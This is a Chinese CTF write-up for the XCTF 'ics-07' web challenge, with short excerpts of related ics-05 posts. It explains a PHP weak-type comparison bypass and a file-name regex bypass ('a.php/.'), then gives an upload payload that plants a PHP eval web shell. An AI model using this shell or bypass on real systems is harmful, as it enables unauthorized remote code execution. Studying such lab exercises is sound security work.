攻防世界ics 07 wp

2021-10-07 04:40:08 字數 1552 閱讀 4914

以上是source裡面的三段php**

先看第一段:如果page存在,且不為index.php,就檔案包含flag.php

第二段:如果$_session[『admin』]存在,就能post傳con和file ,可以上傳一句話了。

第三段:繞過if裡的語句,就可以使$_session[『admin』]為true

大概思路就出來了,先使result為true,再getshell

if (isset($_get[id]) && floatval($_get[id]) !== '1' && substr($_get[id], -1) === '9')

floatval()用於獲取變數的浮點數值,不能用於陣列或物件

這裡存在弱型別比較,floatval()後的值為浮點型,只要等於1,就可與字元型『1』匹配,substr要求最後一位是9,那麼只要傳入1+任意字元+9即可繞過

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))
進行繞過,改正規表示式表示匹配最後乙個點以及後面的字尾,如果直接傳a.php無法成功,但傳a.php/.即可成功繞過

payload:file=a.php/.&con=<?php @eval($_post['aaa']);phpinfo();?>
由於chdir(『uploaded』)改變目錄為uploaded,又加上backup/a.php拼接,所以目錄為最終的上傳目錄為uploaded/backup/a.php

驗證一下有沒有傳上去

攻防世界ics 05

cyberearth 2017 ics 05 檔案包含讀原始碼 x forwarded for preg replace 函式執行乙個正規表示式的搜尋和替換,preg replce正規表示式部分包含e引數的時候,進行替換的部分會被執行。掌握正規表示式 偽協議讀取原始碼 windows firefox...

攻防世界web之ics 05

全部點選一遍,只有這個可以有其他介面 題目描述是 其他破壞者會利用工控雲管理系統裝置維護中心的後門入侵系統 在後面新增login.php 無果,御劍掃瞄也無結果,原始碼也找不到其他東西 再次點選上面的 雲平台裝置維護中心 url欄有引數?page index 存在get傳值 page的引數聯想到可能...

攻防世界xctf writeup ics 07

審計 瀏覽頁面 發現了view source鏈結 接下來審計 if isset get page if isset get page get page index.php else 關鍵 if isset get id floatval get id 1 substr get id 1 9 floa...